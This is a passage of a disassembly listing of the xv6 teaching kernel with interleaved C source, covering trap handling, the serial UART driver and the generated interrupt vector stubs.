0x0(%esi,%eiz,1),%esi return; } switch(tf->trapno){ case T_IRQ0 + IRQ_TIMER: if(cpuid() == 0){ 80105a60: e8 2b dc ff ff call 80103690 <cpuid> 80105a65: 85 c0 test %eax,%eax 80105a67: 0f 84 b3 00 00 00 je 80105b20 <trap+0x200> 80105a6d: 8d 76 00 lea 0x0(%esi),%esi } lapiceoi(); break; case T_IRQ0 + IRQ_IDE: ideintr(); lapiceoi(); 80105a70: e8 1b cd ff ff call 80102790 <lapiceoi> break; 80105a75: e9 56 ff ff ff jmp 801059d0 <trap+0xb0> 80105a7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi case T_IRQ0 + IRQ_IDE+1: // Bochs generates spurious IDE1 interrupts. break; case T_IRQ0 + IRQ_KBD: kbdintr(); 80105a80: e8 5b cb ff ff call 801025e0 <kbdintr> lapiceoi(); 80105a85: e8 06 cd ff ff call 80102790 <lapiceoi> break; 80105a8a: e9 41 ff ff ff jmp 801059d0 <trap+0xb0> 80105a8f: 90 nop case T_IRQ0 + IRQ_COM1: uartintr(); 80105a90: e8 1b 02 00 00 call 80105cb0 <uartintr> lapiceoi(); 80105a95: e8 f6 cc ff ff call 80102790 <lapiceoi> break; 80105a9a: e9 31 ff ff ff jmp 801059d0 <trap+0xb0> 80105a9f: 90 nop case T_IRQ0 + 7: case T_IRQ0 + IRQ_SPURIOUS: cprintf("cpu%d: spurious interrupt at %x:%x\n", 80105aa0: 8b 7b 38 mov 0x38(%ebx),%edi 80105aa3: 0f b7 73 3c movzwl 0x3c(%ebx),%esi 80105aa7: e8 e4 db ff ff call 80103690 <cpuid> 80105aac: c7 04 24 88 79 10 80 movl $0x80107988,(%esp) 80105ab3: 89 7c 24 0c mov %edi,0xc(%esp) 80105ab7: 89 74 24 08 mov %esi,0x8(%esp) 80105abb: 89 44 24 04 mov %eax,0x4(%esp) 80105abf: e8 8c ab ff ff call 80100650 <cprintf> cpuid(), tf->cs, tf->eip); lapiceoi(); 80105ac4: e8 c7 cc ff ff call 80102790 <lapiceoi> break; 80105ac9: e9 02 ff ff ff jmp 801059d0 <trap+0xb0> 80105ace: 66 90 xchg %ax,%ax release(&tickslock); } lapiceoi(); break; case T_IRQ0 + IRQ_IDE: ideintr(); 80105ad0: e8 bb c5 ff ff call 80102090 <ideintr> 80105ad5: eb 96 jmp 80105a6d <trap+0x14d> 80105ad7: 90 nop 80105ad8: 90 nop 80105ad9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi //PAGEBREAK: 41 void trap(struct trapframe *tf) { if(tf->trapno == T_SYSCALL){ if(myproc()->killed) 80105ae0: e8 cb db ff ff call 801036b0 <myproc> 80105ae5: 8b 70 24 mov 0x24(%eax),%esi 80105ae8: 85 f6 test %esi,%esi 80105aea: 75 2c jne 80105b18 <trap+0x1f8> exit(); myproc()->tf = tf; 80105aec: e8 bf db ff ff call 801036b0 <myproc> 80105af1: 89 58 18 mov %ebx,0x18(%eax) syscall(); 80105af4: e8 b7 eb ff ff call 801046b0 <syscall> if(myproc()->killed) 80105af9: e8 b2 db ff ff call 801036b0 <myproc> 80105afe: 8b 48 24 mov 0x24(%eax),%ecx 80105b01: 85 c9 test %ecx,%ecx 80105b03: 0f 84 18 ff ff ff je 80105a21 <trap+0x101> yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) exit(); } 80105b09: 83 c4 3c add $0x3c,%esp 80105b0c: 5b pop %ebx 80105b0d: 5e pop %esi 80105b0e: 5f pop %edi 80105b0f: 5d pop %ebp if(myproc()->killed) exit(); myproc()->tf = tf; syscall(); if(myproc()->killed) exit(); 80105b10: e9 ab df ff ff jmp 80103ac0 <exit> 80105b15: 8d 76 00 lea 0x0(%esi),%esi void trap(struct trapframe *tf) { if(tf->trapno == T_SYSCALL){ if(myproc()->killed) exit(); 80105b18: e8 a3 df ff ff call 80103ac0 <exit> 80105b1d: eb cd jmp 80105aec <trap+0x1cc> 80105b1f: 90 nop } switch(tf->trapno){ case T_IRQ0 + IRQ_TIMER: if(cpuid() == 0){ acquire(&tickslock); 80105b20: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 80105b27: e8 04 e7 ff ff call 80104230 <acquire> ticks++; wakeup(&ticks); 80105b2c: c7 04 24 a0 5b 11 80 movl $0x80115ba0,(%esp) switch(tf->trapno){ case T_IRQ0 + IRQ_TIMER: if(cpuid() == 0){ acquire(&tickslock); ticks++; 80105b33: 83 05 a0 5b 11 80 01 addl $0x1,0x80115ba0 wakeup(&ticks); 80105b3a: e8 91 e2 ff ff call 80103dd0 <wakeup> release(&tickslock); 80105b3f: c7 04 24 60 53 11 80 movl $0x80115360,(%esp) 80105b46: e8 55 e7 ff ff call 801042a0 <release> 80105b4b: e9 1d ff ff ff jmp 80105a6d <trap+0x14d> 80105b50: 0f 20 d7 mov %cr2,%edi //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ // In kernel, it must be our mistake. cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80105b53: 8b 73 38 mov 0x38(%ebx),%esi 80105b56: e8 35 db ff ff call 80103690 <cpuid> 80105b5b: 89 7c 24 10 mov %edi,0x10(%esp) 80105b5f: 89 74 24 0c mov %esi,0xc(%esp) 80105b63: 89 44 24 08 mov %eax,0x8(%esp) 80105b67: 8b 43 30 mov 0x30(%ebx),%eax 80105b6a: c7 04 24 ac 79 10 80 movl $0x801079ac,(%esp) 80105b71: 89 44 24 04 mov %eax,0x4(%esp) 80105b75: e8 d6 aa ff ff call 80100650 <cprintf> tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); 80105b7a: c7 04 24 81 79 10 80 movl $0x80107981,(%esp) 80105b81: e8 da a7 ff ff call 80100360 <panic> 80105b86: 66 90 xchg %ax,%ax 80105b88: 66 90 xchg %ax,%ax 80105b8a: 66 90 xchg %ax,%ax 80105b8c: 66 90 xchg %ax,%ax 80105b8e: 66 90 xchg %ax,%ax 80105b90 <uartgetc>: } static int uartgetc(void) { if(!uart) 80105b90: a1 bc a5 10 80 mov 0x8010a5bc,%eax outb(COM1+0, c); } static int uartgetc(void) { 80105b95: 55 push %ebp 80105b96: 89 e5 mov %esp,%ebp if(!uart) 80105b98: 85 c0 test %eax,%eax 80105b9a: 74 14 je 80105bb0 <uartgetc+0x20> static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105b9c: ba fd 03 00 00 mov $0x3fd,%edx 80105ba1: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 80105ba2: a8 01 test $0x1,%al 80105ba4: 74 0a je 80105bb0 <uartgetc+0x20> 80105ba6: b2 f8 mov $0xf8,%dl 80105ba8: ec in (%dx),%al return -1; return inb(COM1+0); 80105ba9: 0f b6 c0 movzbl %al,%eax } 80105bac: 5d pop %ebp 80105bad: c3 ret 80105bae: 66 90 xchg %ax,%ax static int uartgetc(void) { if(!uart) return -1; 80105bb0: b8 ff ff ff ff mov $0xffffffff,%eax if(!(inb(COM1+5) & 0x01)) return -1; return inb(COM1+0); } 80105bb5: 5d pop %ebp 80105bb6: c3 ret 80105bb7: 89 f6 mov %esi,%esi 80105bb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105bc0 <uartputc>: void uartputc(int c) { int i; if(!uart) 80105bc0: a1 bc a5 10 80 mov 0x8010a5bc,%eax 80105bc5: 85 c0 test %eax,%eax 80105bc7: 74 3f je 80105c08 <uartputc+0x48> uartputc(*p); } void uartputc(int c) { 80105bc9: 55 push %ebp 80105bca: 89 e5 mov %esp,%ebp 80105bcc: 56 push %esi 80105bcd: be fd 03 00 00 mov $0x3fd,%esi 80105bd2: 53 push %ebx int i; if(!uart) 80105bd3: bb 80 00 00 00 mov $0x80,%ebx uartputc(*p); } void uartputc(int c) { 80105bd8: 83 ec 10 sub $0x10,%esp 80105bdb: eb 14 jmp 80105bf1 <uartputc+0x31> 80105bdd: 8d 76 00 lea 0x0(%esi),%esi int i; if(!uart) return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) microdelay(10); 80105be0: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 80105be7: e8 c4 cb ff ff call 801027b0 <microdelay> { int i; if(!uart) return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 80105bec: 83 eb 01 sub $0x1,%ebx 80105bef: 74 07 je 80105bf8 <uartputc+0x38> 80105bf1: 89 f2 mov %esi,%edx 80105bf3: ec in (%dx),%al 80105bf4: a8 20 test $0x20,%al 80105bf6: 74 e8 je 80105be0 <uartputc+0x20> microdelay(10); outb(COM1+0, c); 80105bf8: 0f b6 45 08 movzbl 0x8(%ebp),%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80105bfc: ba f8 03 00 00 mov $0x3f8,%edx 80105c01: ee out %al,(%dx) } 80105c02: 83 c4 10 add $0x10,%esp 80105c05: 5b pop %ebx 80105c06: 5e pop %esi 80105c07: 5d pop %ebp 80105c08: f3 c3 repz ret 80105c0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105c10 <uartinit>: static int uart; // is there a uart? void uartinit(void) { 80105c10: 55 push %ebp 80105c11: 31 c9 xor %ecx,%ecx 80105c13: 89 e5 mov %esp,%ebp 80105c15: 89 c8 mov %ecx,%eax 80105c17: 57 push %edi 80105c18: bf fa 03 00 00 mov $0x3fa,%edi 80105c1d: 56 push %esi 80105c1e: 89 fa mov %edi,%edx 80105c20: 53 push %ebx 80105c21: 83 ec 1c sub $0x1c,%esp 80105c24: ee out %al,(%dx) 80105c25: be fb 03 00 00 mov $0x3fb,%esi 80105c2a: b8 80 ff ff ff mov $0xffffff80,%eax 80105c2f: 89 f2 mov %esi,%edx 80105c31: ee out %al,(%dx) 80105c32: b8 0c 00 00 00 mov $0xc,%eax 80105c37: b2 f8 mov $0xf8,%dl 80105c39: ee out %al,(%dx) 80105c3a: bb f9 03 00 00 mov $0x3f9,%ebx 80105c3f: 89 c8 mov %ecx,%eax 80105c41: 89 da mov %ebx,%edx 80105c43: ee out %al,(%dx) 80105c44: b8 03 00 00 00 mov $0x3,%eax 80105c49: 89 f2 mov %esi,%edx 80105c4b: ee out %al,(%dx) 80105c4c: b2 fc mov $0xfc,%dl 80105c4e: 89 c8 mov %ecx,%eax 80105c50: ee out %al,(%dx) 80105c51: b8 01 00 00 00 mov $0x1,%eax 80105c56: 89 da mov %ebx,%edx 80105c58: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105c59: b2 fd mov $0xfd,%dl 80105c5b: ec in (%dx),%al outb(COM1+3, 0x03); // Lock divisor, 8 data bits. outb(COM1+4, 0); outb(COM1+1, 0x01); // Enable receive interrupts. // If status is 0xFF, no serial port. if(inb(COM1+5) == 0xFF) 80105c5c: 3c ff cmp $0xff,%al 80105c5e: 74 42 je 80105ca2 <uartinit+0x92> return; uart = 1; 80105c60: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc 80105c67: 00 00 00 80105c6a: 89 fa mov %edi,%edx 80105c6c: ec in (%dx),%al 80105c6d: b2 f8 mov $0xf8,%dl 80105c6f: ec in (%dx),%al // Acknowledge pre-existing interrupt conditions; // enable interrupts. inb(COM1+2); inb(COM1+0); ioapicenable(IRQ_COM1, 0); 80105c70: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80105c77: 00 // Announce that we're here. for(p="xv6...\n"; *p; p++) 80105c78: bb a4 7a 10 80 mov $0x80107aa4,%ebx // Acknowledge pre-existing interrupt conditions; // enable interrupts. inb(COM1+2); inb(COM1+0); ioapicenable(IRQ_COM1, 0); 80105c7d: c7 04 24 04 00 00 00 movl $0x4,(%esp) 80105c84: e8 37 c6 ff ff call 801022c0 <ioapicenable> // Announce that we're here. for(p="xv6...\n"; *p; p++) 80105c89: b8 78 00 00 00 mov $0x78,%eax 80105c8e: 66 90 xchg %ax,%ax uartputc(*p); 80105c90: 89 04 24 mov %eax,(%esp) inb(COM1+2); inb(COM1+0); ioapicenable(IRQ_COM1, 0); // Announce that we're here. for(p="xv6...\n"; *p; p++) 80105c93: 83 c3 01 add $0x1,%ebx uartputc(*p); 80105c96: e8 25 ff ff ff call 80105bc0 <uartputc> inb(COM1+2); inb(COM1+0); ioapicenable(IRQ_COM1, 0); // Announce that we're here. for(p="xv6...\n"; *p; p++) 80105c9b: 0f be 03 movsbl (%ebx),%eax 80105c9e: 84 c0 test %al,%al 80105ca0: 75 ee jne 80105c90 <uartinit+0x80> uartputc(*p); } 80105ca2: 83 c4 1c add $0x1c,%esp 80105ca5: 5b pop %ebx 80105ca6: 5e pop %esi 80105ca7: 5f pop %edi 80105ca8: 5d pop %ebp 80105ca9: c3 ret 80105caa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105cb0 <uartintr>: return inb(COM1+0); } void uartintr(void) { 80105cb0: 55 push %ebp 80105cb1: 89 e5 mov %esp,%ebp 80105cb3: 83 ec 18 sub $0x18,%esp consoleintr(uartgetc); 80105cb6: c7 04 24 90 5b 10 80 movl $0x80105b90,(%esp) 80105cbd: e8 ee aa ff ff call 801007b0 <consoleintr> } 80105cc2: c9 leave 80105cc3: c3 ret 80105cc4 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80105cc4: 6a 00 push $0x0 pushl $0 80105cc6: 6a 00 push $0x0 jmp alltraps 80105cc8: e9 54 fb ff ff jmp 80105821 <alltraps> 80105ccd <vector1>: .globl vector1 vector1: pushl $0 80105ccd: 6a 00 push $0x0 pushl $1 80105ccf: 6a 01 push $0x1 jmp alltraps 80105cd1: e9 4b fb ff ff jmp 80105821 <alltraps> 80105cd6 <vector2>: .globl vector2 vector2: pushl $0 80105cd6: 6a 00 push $0x0 pushl $2 80105cd8: 6a 02 push $0x2 jmp alltraps 80105cda: e9 42 fb ff ff jmp 80105821 <alltraps> 80105cdf <vector3>: .globl vector3 vector3: pushl $0 80105cdf: 6a 00 push $0x0 pushl $3 80105ce1: 6a 03 push $0x3 jmp alltraps 80105ce3: e9 39 fb ff ff jmp 80105821 <alltraps> 80105ce8 <vector4>: .globl vector4 vector4: pushl $0 80105ce8: 6a 00 push $0x0 pushl $4 80105cea: 6a 04 push $0x4 jmp alltraps 80105cec: e9 30 fb ff ff jmp 80105821 <alltraps> 80105cf1 <vector5>: .globl vector5 vector5: pushl $0 80105cf1: 6a 00 push $0x0 pushl $5 80105cf3: 6a 05 push $0x5 jmp alltraps 80105cf5: e9 27 fb ff ff jmp 80105821 <alltraps> 80105cfa <vector6>: .globl vector6 vector6: pushl $0 80105cfa: 6a 00 push $0x0 pushl $6 80105cfc: 6a 06 push $0x6 jmp alltraps 80105cfe: e9 1e fb ff ff jmp 80105821 <alltraps> 80105d03 <vector7>: .globl vector7 vector7: pushl $0 80105d03: 6a 00 push $0x0 pushl $7 80105d05: 6a 07 push $0x7 jmp alltraps 80105d07: e9 15 fb ff ff jmp 80105821 <alltraps> 80105d0c <vector8>: .globl vector8 vector8: pushl $8 80105d0c: 6a 08 push $0x8 jmp alltraps 80105d0e: e9 0e fb ff ff jmp 80105821 <alltraps> 80105d13 <vector9>: .globl vector9 vector9: pushl $0 80105d13: 6a 00 push $0x0 pushl $9 80105d15: 6a 09 push $0x9 jmp alltraps 80105d17: e9 05 fb ff ff jmp 80105821 <alltraps> 80105d1c <vector10>: .globl vector10 vector10: pushl $10 80105d1c: 6a 0a push $0xa jmp alltraps 80105d1e: e9 fe fa ff ff jmp 80105821 <alltraps> 80105d23 <vector11>: .globl vector11 vector11: pushl $11 80105d23: 6a 0b push $0xb jmp alltraps 80105d25: e9 f7 fa ff ff jmp 80105821 <alltraps> 80105d2a <vector12>: .globl vector12 vector12: pushl $12 80105d2a: 6a 0c push $0xc jmp alltraps 80105d2c: e9 f0 fa ff ff jmp 80105821 <alltraps> 80105d31 <vector13>: .globl vector13 vector13: pushl $13 80105d31: 6a 0d push $0xd jmp alltraps 80105d33: e9 e9 fa ff ff jmp 80105821 <alltraps> 80105d38 <vector14>: .globl vector14 vector14: pushl $14 80105d38: 6a 0e push $0xe jmp alltraps 80105d3a: e9 e2 fa ff ff jmp 80105821 <alltraps> 80105d3f <vector15>: .globl vector15 vector15: pushl $0 80105d3f: 6a 00 push $0x0 pushl $15 80105d41: 6a 0f push $0xf jmp alltraps 80105d43: e9 d9 fa ff ff jmp 80105821 <alltraps> 80105d48 <vector16>: .globl vector16 vector16: pushl $0 80105d48: 6a 00 push $0x0 pushl $16 80105d4a: 6a 10 push $0x10 jmp alltraps 80105d4c: e9 d0 fa ff ff jmp 80105821 <alltraps> 80105d51 <vector17>: .globl vector17 vector17: pushl $17 80105d51: 6a 11 push $0x11 jmp alltraps 80105d53: e9 c9 fa ff ff jmp 80105821 <alltraps> 80105d58 <vector18>: .globl vector18 vector18: pushl $0 80105d58: 6a 00 push $0x0 pushl $18 80105d5a: 6a 12 push $0x12 jmp alltraps 80105d5c: e9 c0 fa ff ff jmp 80105821 <alltraps> 80105d61 <vector19>: .globl vector19 vector19: pushl $0 80105d61: 6a 00 push $0x0 pushl $19 80105d63: 6a 13 push $0x13 jmp alltraps 80105d65: e9 b7 fa ff ff jmp 80105821 <alltraps> 80105d6a <vector20>: .globl vector20 vector20: pushl $0 80105d6a: 6a 00 push $0x0 pushl $20 80105d6c: 6a 14 push $0x14 jmp alltraps 80105d6e: e9 ae fa ff ff jmp 80105821 <alltraps> 80105d73 <vector21>: .globl vector21 vector21: pushl $0 80105d73: 6a 00 push $0x0 pushl $21 80105d75: 6a 15 push $0x15 jmp alltraps 80105d77: e9 a5 fa ff ff jmp 80105821 <alltraps> 80105d7c <vector22>: .globl vector22 vector22: pushl $0 80105d7c: 6a 00 push $0x0 pushl $22 80105d7e: 6a 16 push $0x16 jmp alltraps 80105d80: e9 9c fa ff ff jmp 80105821 <alltraps> 80105d85 <vector23>: .globl vector23 vector23: pushl $0 80105d85: 6a 00 push $0x0 pushl $23 80105d87: 6a 17 push $0x17 jmp alltraps 80105d89: e9 93 fa ff ff jmp 80105821 <alltraps> 80105d8e <vector24>: .globl vector24 vector24: pushl $0 80105d8e: 6a 00 push $0x0 pushl $24 80105d90: 6a 18 push $0x18 jmp alltraps 80105d92: e9 8a fa ff ff jmp 80105821 <alltraps> 80105d97 <vector25>: .globl vector25 vector25: pushl $0 80105d97: 6a 00 push $0x0 pushl $25 80105d99: 6a 19 push $0x19 jmp alltraps 80105d9b: e9 81 fa ff ff jmp 80105821 <alltraps> 80105da0 <vector26>: .globl vector26 vector26: pushl $0 80105da0: 6a 00 push $0x0 pushl $26 80105da2: 6a 1a push $0x1a jmp alltraps 80105da4: e9 78 fa ff ff jmp 80105821 <alltraps> 80105da9 <vector27>: .globl vector27 vector27: pushl $0 80105da9: 6a 00 push $0x0 pushl $27 80105dab: 6a 1b push $0x1b jmp alltraps 80105dad: e9 6f fa ff ff jmp 80105821 <alltraps> 80105db2 <vector28>: .globl vector28 vector28: pushl $0 80105db2: 6a 00 push $0x0 pushl $28 80105db4: 6a 1c push $0x1c jmp alltraps 80105db6: e9 66 fa ff ff jmp 80105821 <alltraps> 80105dbb <vector29>: .globl vector29 vector29: pushl $0 80105dbb: 6a 00 push $0x0 pushl $29 80105dbd: 6a 1d push $0x1d jmp alltraps 80105dbf: e9 5d fa ff ff jmp 80105821 <alltraps> 80105dc4 <vector30>: .globl vector30 vector30: pushl $0 80105dc4: 6a 00 push $0x0 pushl $30 80105dc6: 6a 1e push $0x1e jmp alltraps 80105dc8: e9 54 fa ff ff jmp 80105821 <alltraps> 80105dcd <vector31>: .globl vector31 vector31: pushl $0 80105dcd: 6a 00 push $0x0 pushl $31 80105dcf: 6a 1f push $0x1f jmp alltraps 80105dd1: e9 4b fa ff ff jmp 80105821 <alltraps> 80105dd6 <vector32>: .globl vector32 vector32: pushl $0 80105dd6: 6a 00 push $0x0 pushl $32 80105dd8: 6a 20 push $0x20 jmp alltraps 80105dda: e9 42 fa ff ff jmp 80105821 <alltraps> 80105ddf <vector33>: .globl vector33 vector33: pushl $0 80105ddf: 6a 00 push $0x0 pushl $33 80105de1: 6a 21 push $0x21 jmp alltraps 80105de3: e9 39 fa ff ff jmp 80105821 <alltraps> 80105de8 <vector34>: .globl vector34 vector34: pushl $0 80105de8: 6a 00 push $0x0 pushl $34 80105dea: 6a 22 push $0x22 jmp alltraps 80105dec: e9 30 fa ff ff jmp 80105821 <alltraps> 80105df1 <vector35>: .globl vector35 vector35: pushl $0 80105df1: 6a 00 push $0x0 pushl $35 80105df3: 6a 23 push $0x23 jmp alltraps 80105df5: e9 27 fa ff ff jmp 80105821 <alltraps> 80105dfa <vector36>: .globl vector36 vector36: pushl $0 80105dfa: 6a 00 push $0x0 pushl $36 80105dfc: 6a 24 push $0x24 jmp alltraps 80105dfe: e9 1e fa ff ff jmp 80105821 <alltraps> 80105e03 <vector37>: .globl vector37 vector37: pushl $0 80105e03: 6a 00 push $0x0 pushl $37 80105e05: 6a 25 push $0x25 jmp alltraps 80105e07: e9 15 fa ff ff jmp 80105821 <alltraps> 80105e0c <vector38>: .globl vector38 vector38: pushl $0 80105e0c: 6a 00 push $0x0 pushl $38 80105e0e: 6a 26 push $0x26 jmp alltraps 80105e10: e9 0c fa ff ff jmp 80105821 <alltraps> 80105e15 <vector39>: .globl vector39 vector39: pushl $0 80105e15: 6a 00 push $0x0 pushl $39 80105e17: 6a 27 push $0x27 jmp alltraps 80105e19: e9 03 fa ff ff jmp 80105821 <alltraps> 80105e1e <vector40>: .globl vector40 vector40: pushl $0 80105e1e: 6a 00 push $0x0 pushl $40 80105e20: 6a 28 push $0x28 jmp alltraps 80105e22: e9 fa f9 ff ff jmp 80105821 <alltraps> 80105e27 <vector41>: .globl vector41 vector41: pushl $0 80105e27: 6a 00 push $0x0 pushl $41 80105e29: 6a 29 push $0x29 jmp alltraps 80105e2b: e9 f1 f9 ff ff jmp 80105821 <alltraps> 80105e30 <vector42>: .globl vector42 vector42: pushl $0 80105e30: 6a 00 push $0x0 pushl $42 80105e32: 6a 2a push $0x2a jmp alltraps 80105e34: e9 e8 f9 ff ff jmp 80105821 <alltraps> 80105e39 <vector43>: .globl vector43 vector43: pushl $0 80105e39: 6a 00 push $0x0 pushl $43 80105e3b: 6a 2b push $0x2b jmp alltraps 80105e3d: e9 df f9 ff ff jmp 80105821 <alltraps> 80105e42 <vector44>: .globl vector44 vector44: pushl $0 80105e42: 6a 00 push $0x0 pushl $44 80105e44: 6a 2c push $0x2c jmp alltraps 80105e46: e9 d6 f9 ff ff jmp 80105821 <alltraps> 80105e4b <vector45>: .globl vector45 vector45: pushl $0 80105e4b: 6a 00 push $0x0 pushl $45 80105e4d: 6a 2d push $0x2d jmp alltraps 80105e4f: e9 cd f9 ff ff jmp 80105821 <alltraps> 80105e54 <vector46>: .globl vector46 vector46: pushl $0 80105e54: 6a 00 push $0x0 pushl $46 80105e56: 6a 2e push $0x2e jmp alltraps 80105e58: e9 c4 f9 ff ff jmp 80105821 <alltraps> 80105e5d <vector47>: .globl vector47 vector47: pushl $0 80105e5d: 6a 00 push $0x0 pushl $47 80105e5f: 6a 2f push $0x2f jmp alltraps 80105e61: e9 bb f9 ff ff jmp 80105821 <alltraps> 80105e66 <vector48>: .globl vector48 vector48: pushl $0 80105e66: 6a 00 push $0x0 pushl $48 80105e68: 6a 30 push $0x30 jmp alltraps 80105e6a: e9 b2 f9 ff ff jmp 80105821 <alltraps> 80105e6f <vector49>: .globl vector49 vector49: pushl $0 80105e6f: 6a 00 push $0x0 pushl $49 80105e71: 6a 31 push $0x31 jmp alltraps 80105e73: e9 a9 f9 ff ff jmp 80105821 <alltraps> 80105e78 <vector50>: .globl vector50 vector50: pushl $0 80105e78: 6a 00 push $0x0 pushl $50 80105e7a: 6a 32 push $0x32 jmp alltraps 80105e7c: e9 a0 f9 ff ff jmp 80105821 <alltraps> 80105e81 <vector51>: .globl vector51 vector51: pushl $0 80105e81: 6a 00 push $0x0 pushl $51 80105e83: 6a 33 push $0x33 jmp alltraps 80105e85: e9 97 f9 ff ff jmp 80105821 <alltraps> 80105e8a <vector52>: .globl vector52 vector52: pushl $0 80105e8a: 6a 00 push $0x0 pushl $52 80105e8c: 6a 34 push $0x34 jmp alltraps 80105e8e: e9 8e f9 ff ff jmp 80105821 <alltraps> 80105e93 <vector53>: .globl vector53 vector53: pushl $0 80105e93: 6a 00 push $0x0 pushl $53 80105e95: 6a 35 push $0x35 jmp alltraps 80105e97: e9 85 f9 ff ff jmp 80105821 <alltraps> 80105e9c <vector54>: .globl vector54 vector54: pushl $0 80105e9c: 6a 00 push $0x0 pushl $54 80105e9e: 6a 36 push $0x36 jmp alltraps 80105ea0: e9 7c f9 ff ff jmp 80105821 <alltraps> 80105ea5 <vector55>: .globl vector55 vector55: pushl $0 80105ea5: 6a 00 push $0x0 pushl $55 80105ea7: 6a 37 push $0x37 jmp alltraps 80105ea9: e9 73 f9 ff ff jmp 80105821 <alltraps> 80105eae <vector56>: .globl vector56 vector56: pushl $0 80105eae: 6a 00 push $0x0 pushl $56 80105eb0: 6a 38 push $0x38 jmp alltraps 80105eb2: e9 6a f9 ff ff jmp 80105821 <alltraps> 80105eb7 <vector57>: .globl vector57 vector57: pushl $0 80105eb7: 6a 00 push $0x0 pushl $57 80105eb9: 6a 39 push $0x39 jmp alltraps 80105ebb: e9 61 f9 ff ff jmp 80105821 <alltraps> 80105ec0 <vector58>: .globl vector58 vector58: pushl $0 80105ec0: 6a 00 push $0x0 pushl $58 80105ec2: 6a 3a push $0x3a jmp alltraps 80105ec4: e9 58 f9 ff ff jmp 80105821 <alltraps> 80105ec9 <vector59>: .globl vector59 vector59: pushl $0 80105ec9: 6a 00 push $0x0 pushl $59 80105ecb: 6a 3b push $0x3b jmp alltraps 80105ecd: e9 4f f9 ff ff jmp 80105821 <alltraps> 80105ed2 <vector60>: .globl vector60 vector60: pushl $0 80105ed2: 6a 00 push $0x0 pushl $60 80105ed4: 6a 3c push $0x3c jmp alltraps 80105ed6: e9 46 f9 ff ff jmp 80105821 <alltraps> 80105edb <vector61>: .globl vector61 vector61: pushl $0 80105edb: 6a 00 push $0x0 pushl $61 80105edd: 6a 3d push $0x3d jmp alltraps 80105edf: e9 3d f9 ff ff jmp 80105821 <alltraps> 80105ee4 <vector62>: .globl vector62 vector62: pushl $0 80105ee4: 6a 00 push $0x0 pushl $62 80105ee6: 6a 3e push $0x3e jmp alltraps 80105ee8: e9 34 f9 ff ff jmp 80105821 <alltraps> 80105eed <vector63>: .globl vector63 vector63: pushl $0 80105eed: 6a 00 push $0x0 pushl $63 80105eef: 6a 3f push $0x3f jmp alltraps 80105ef1: e9 2b f9 ff ff jmp 80105821 <alltraps> 80105ef6 <vector64>: .globl vector64 vector64: pushl $0 80105ef6: 6a 00 push $0x0 pushl $64 80105ef8: 6a 40 push $0x40 jmp alltraps 80105efa: e9 22 f9 ff ff jmp 80105821 <alltraps> 80105eff <vector65>: .globl vector65 vector65: pushl $0 80105eff: 6a 00 push $0x0 pushl $65 80105f01: 6a 41 push $0x41 jmp alltraps 80105f03: e9 19 f9 ff ff jmp 80105821 <alltraps> 80105f08 <vector66>: .globl vector66 vector66: pushl $0 80105f08: 6a 00 push $0x0 pushl $66 80105f0a: 6a 42 push $0x42 jmp alltraps 80105f0c: e9 10 f9 ff ff jmp 80105821 <alltraps> 80105f11 <vector67>: .globl vector67 vector67: pushl $0 80105f11: 6a 00 push $0x0 pushl $67 80105f13: 6a 43 push $0x43 jmp alltraps 80105f15: e9 07 f9 ff ff jmp 80105821 <alltraps> 80105f1a <vector68>: .globl vector68 vector68: pushl $0 80105f1a: 6a 00 push $0x0 pushl $68 80105f1c: 6a 44 push $0x44 jmp alltraps 80105f1e: e9 fe f8 ff ff jmp 80105821 <alltraps> 80105f23 <vector69>: .globl vector69 vector69: pushl $0 80105f23: 6a 00 push $0x0 pushl $69 80105f25: 6a 45 push $0x45 jmp alltraps 80105f27: e9 f5 f8 ff ff jmp 80105821 <alltraps> 80105f2c <vector70>: .globl vector70 vector70: pushl $0 80105f2c: 6a 00 push $0x0 pushl $70 80105f2e: 6a 46 push $0x46 jmp alltraps 80105f30: e9 ec f8 ff ff jmp 80105821 <alltraps> 80105f35 <vector71>: .globl vector71 vector71: pushl $0 80105f35: 6a 00 push $0x0 pushl $71 80105f37: 6a 47 push $0x47 jmp alltraps 80105f39: e9 e3 f8 ff ff jmp 80105821 <alltraps> 80105f3e <vector72>: .globl vector72 vector72: pushl $0 80105f3e: 6a 00 push $0x0 pushl $72 80105f40: 6a 48 push $0x48 jmp alltraps 80105f42: e9 da f8 ff ff jmp 80105821 <alltraps> 80105f47 <vector73>: .globl vector73 vector73: pushl $0 80105f47: 6a 00 push $0x0 pushl $73 80105f49: 6a 49 push $0x49 jmp alltraps 80105f4b: e9 d1 f8 ff ff jmp 80105821 <alltraps> 80105f50 <vector74>: .globl vector74 vector74: pushl $0 80105f50: 6a 00 push $0x0 pushl $74 80105f52: 6a 4a push $0x4a jmp alltraps 80105f54: e9 c8 f8 ff ff jmp 80105821 <alltraps> 80105f59 <vector75>: .globl vector75 vector75: pushl $0 80105f59: 6a 00 push $0x0 pushl $75 80105f5b: 6a 4b push $0x4b jmp alltraps 80105f5d: e9 bf f8 ff ff jmp 80105821 <alltraps> 80105f62 <vector76>: .globl vector76 vector76: pushl $0 80105f62: 6a 00 push $0x0 pushl $76 80105f64: 6a 4c push $0x4c jmp alltraps 80105f66: e9 b6 f8 ff ff jmp 80105821 